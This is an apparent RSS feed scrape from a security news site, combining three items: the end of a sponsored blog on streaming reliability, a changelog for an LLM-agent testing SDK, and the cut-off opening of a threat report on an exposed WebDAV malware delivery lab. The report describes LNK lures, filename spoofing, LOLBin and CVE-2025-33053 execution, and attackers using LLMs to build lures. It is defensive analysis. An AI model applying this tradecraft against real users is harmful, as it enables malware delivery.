<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.32]]></title>
<description><![CDATA[0.7.32 (2026-07-20)
Features

#660: expose context param on scenario.judge() public API (#667) (900f3d8)
#666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
...]]></description>
<link>https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:58 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.31...python/v0.7.32">0.7.32</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639907852" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/660" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/660/hovercard" href="https://github.com/langwatch/scenario/issues/660">#660</a>:</strong> expose context param on scenario.judge() public API (<a href="https://github.com/langwatch/scenario/issues/667" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/667/hovercard">#667</a>) (<a href="https://github.com/langwatch/scenario/commit/900f3d866d5787a015780965e9de4f518b753ad7">900f3d8</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650318823" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/666" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/666/hovercard" href="https://github.com/langwatch/scenario/issues/666">#666</a>:</strong> per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (<a href="https://github.com/langwatch/scenario/issues/670" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/670/hovercard">#670</a>) (<a href="https://github.com/langwatch/scenario/commit/007a69faff6f33b9b5a6e9d4f811e9e2d8c81fdd">007a69f</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
<li><strong>tracing:</strong> stamp scenario SDK name+version as trace attributes (<a href="https://github.com/langwatch/scenario/issues/744" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/744/hovercard">#744</a>) (<a href="https://github.com/langwatch/scenario/issues/745" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/745/hovercard">#745</a>) (<a href="https://github.com/langwatch/scenario/commit/43dd4fae3b439561b9ff196a9c0297968c1ae607">43dd4fa</a>)</li>
<li><strong>voice:</strong> continuous ElevenLabs mic pump + is_connected guard (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice A) (<a href="https://github.com/langwatch/scenario/issues/741" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/741/hovercard">#741</a>) (<a href="https://github.com/langwatch/scenario/commit/b6e7f93c43fee650c0fe37f27153a4805f3e7eb8">b6e7f93</a>)</li>
<li><strong>voice:</strong> harvest voice result fields on exit paths + concrete typing (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice E) (<a href="https://github.com/langwatch/scenario/issues/742" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/742/hovercard">#742</a>) (<a href="https://github.com/langwatch/scenario/commit/439b7be5bb02c9fa9ebf56ef71f76537e043ffde">439b7be</a>)</li>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
<li><strong>voice:</strong> realtime_langwatch_session context manager for live OpenAI Realtime apps (<a href="https://github.com/langwatch/scenario/issues/673" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/673/hovercard">#673</a>) (<a href="https://github.com/langwatch/scenario/issues/676" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/676/hovercard">#676</a>) (<a href="https://github.com/langwatch/scenario/commit/e89d00c344eeac18a8673eb974d905afa14014b4">e89d00c</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654909090" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/161" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/161/hovercard" href="https://github.com/langwatch/scenario/issues/161">#161</a>:</strong> re-parse criteria when LLM returns stringified JSON dict (<a href="https://github.com/langwatch/scenario/issues/552" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/552/hovercard">#552</a>) (<a href="https://github.com/langwatch/scenario/commit/b8198493aa638f0c31821050d7d4502b08e5f88e">b819849</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485409944" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/488" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/488/hovercard" href="https://github.com/langwatch/scenario/issues/488">#488</a>:</strong> log voice adapter and ffmpeg disconnect failures at WARNING (<a href="https://github.com/langwatch/scenario/issues/556" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/556/hovercard">#556</a>) (<a href="https://github.com/langwatch/scenario/commit/86bf4662c0a5f16ec23c25a11ea78368d39bff26">86bf466</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634746372" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/655" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/655/hovercard" href="https://github.com/langwatch/scenario/issues/655">#655</a>:</strong> replace brittle judge criteria with generic behavioral criteria in audio examples (<a href="https://github.com/langwatch/scenario/issues/679" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/679/hovercard">#679</a>) (<a href="https://github.com/langwatch/scenario/commit/732d426ae4865c8027fb03182cf8211461c11514">732d426</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647094960" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/664" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/664/hovercard" href="https://github.com/langwatch/scenario/issues/664">#664</a>:</strong> transcribe agent turns at runtime so the voice user simulator can read them (<a href="https://github.com/langwatch/scenario/issues/665" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/665/hovercard">#665</a>) (<a href="https://github.com/langwatch/scenario/commit/4b99682bee8ca6820537a100551ec83e97bcd89f">4b99682</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>python:</strong> derive scenario.<strong>version</strong> from package metadata (<a href="https://github.com/langwatch/scenario/issues/800" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/800/hovercard">#800</a>) (<a href="https://github.com/langwatch/scenario/commit/0d505a7cfcc9467821ed61119f291944b626cc7f">0d505a7</a>)</li>
<li><strong>security:</strong> bump pyjwt to 2.13.0 (<a href="https://github.com/langwatch/scenario/issues/677" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/677/hovercard">#677</a>) (<a href="https://github.com/langwatch/scenario/commit/00807b770ad997a12ca1c10418e409e6f0cdf44b">00807b7</a>)</li>
<li><strong>security:</strong> bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (<a href="https://github.com/langwatch/scenario/issues/685" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/685/hovercard">#685</a>) (<a href="https://github.com/langwatch/scenario/commit/ee9a5d5f2d1c55b23e122dbdb138d82d38ab861c">ee9a5d5</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
<li><strong>security:</strong> raise vite 8.x floor to &gt;=8.0.16 across scenario workspaces (<a href="https://github.com/langwatch/scenario/issues/709" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/709/hovercard">#709</a>) (<a href="https://github.com/langwatch/scenario/commit/42d877ed4b187b3a7478f38f6efdce932cb696d9">42d877e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485412046" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/491" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/491/hovercard" href="https://github.com/langwatch/scenario/issues/491">#491</a>:</strong> diagnose + resolve multi-turn <a href="https://github.com/e2e">@e2e</a> suite-wedge + tighten VAD tests (<a href="https://github.com/langwatch/scenario/issues/694" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/694/hovercard">#694</a>) (<a href="https://github.com/langwatch/scenario/commit/2dfc381df3c27f073706e5aed56d6852a9d8ebf0">2dfc381</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487734199" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/498" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/498/hovercard" href="https://github.com/langwatch/scenario/issues/498">#498</a>:</strong> surface recv-loop termination as attributable PipecatRecvError (<a href="https://github.com/langwatch/scenario/issues/692" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/692/hovercard">#692</a>) (<a href="https://github.com/langwatch/scenario/commit/c1f552cac4845654a57b27c5f705f61c3a3951cc">c1f552c</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632750761" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/648" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/648/hovercard" href="https://github.com/langwatch/scenario/issues/648">#648</a>:</strong> terminal drain on non-audio completion (EL + WebSocket) (<a href="https://github.com/langwatch/scenario/issues/693" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/693/hovercard">#693</a>) (<a href="https://github.com/langwatch/scenario/commit/c42320e130ae3d0ea67a743ffea8195cc5f76825">c42320e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
<li><strong>voice/ts:</strong> explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (<a href="https://github.com/langwatch/scenario/issues/596" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/596/hovercard">#596</a>) (<a href="https://github.com/langwatch/scenario/commit/795ae8eb7e672e180fea6a657d472e566431883b">795ae8e</a>)</li>
<li><strong>voice:</strong> guard response.create on active response in recv_audio (<a href="https://github.com/langwatch/scenario/issues/659" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/659/hovercard">#659</a>) (<a href="https://github.com/langwatch/scenario/commit/5e844ea73f39473f39fe70516c53762437263be1">5e844ea</a>)</li>
<li><strong>voice:</strong> hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (<a href="https://github.com/langwatch/scenario/issues/643" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/643/hovercard">#643</a>) (<a href="https://github.com/langwatch/scenario/commit/aae16beec4d5b74ee331c29ad960c43632434da0">aae16be</a>)</li>
<li><strong>voice:</strong> skip Twilio e2e fixtures on absent env, not fail (<a href="https://github.com/langwatch/scenario/issues/798" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/798/hovercard">#798</a>) (<a href="https://github.com/langwatch/scenario/commit/4c883d00a4c1155feedeb8c8638b4ece30931613">4c883d0</a>)</li>
<li><strong>voice:</strong> terminate wait=False test drain on end-of-turn, re-enable in CI (<a href="https://github.com/langwatch/scenario/issues/691" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/691/hovercard">#691</a>) (<a href="https://github.com/langwatch/scenario/commit/022056dc3621412256904bc8ddca930baafb2033">022056d</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li><strong>voice:</strong> drop references to a docs/proposals tree that never landed (<a href="https://github.com/langwatch/scenario/issues/613" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/613/hovercard">#613</a>) (<a href="https://github.com/langwatch/scenario/issues/823" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/823/hovercard">#823</a>) (<a href="https://github.com/langwatch/scenario/commit/0ef4314fef19d76013a3dbc56f7667b73a7a9dc9">0ef4314</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote 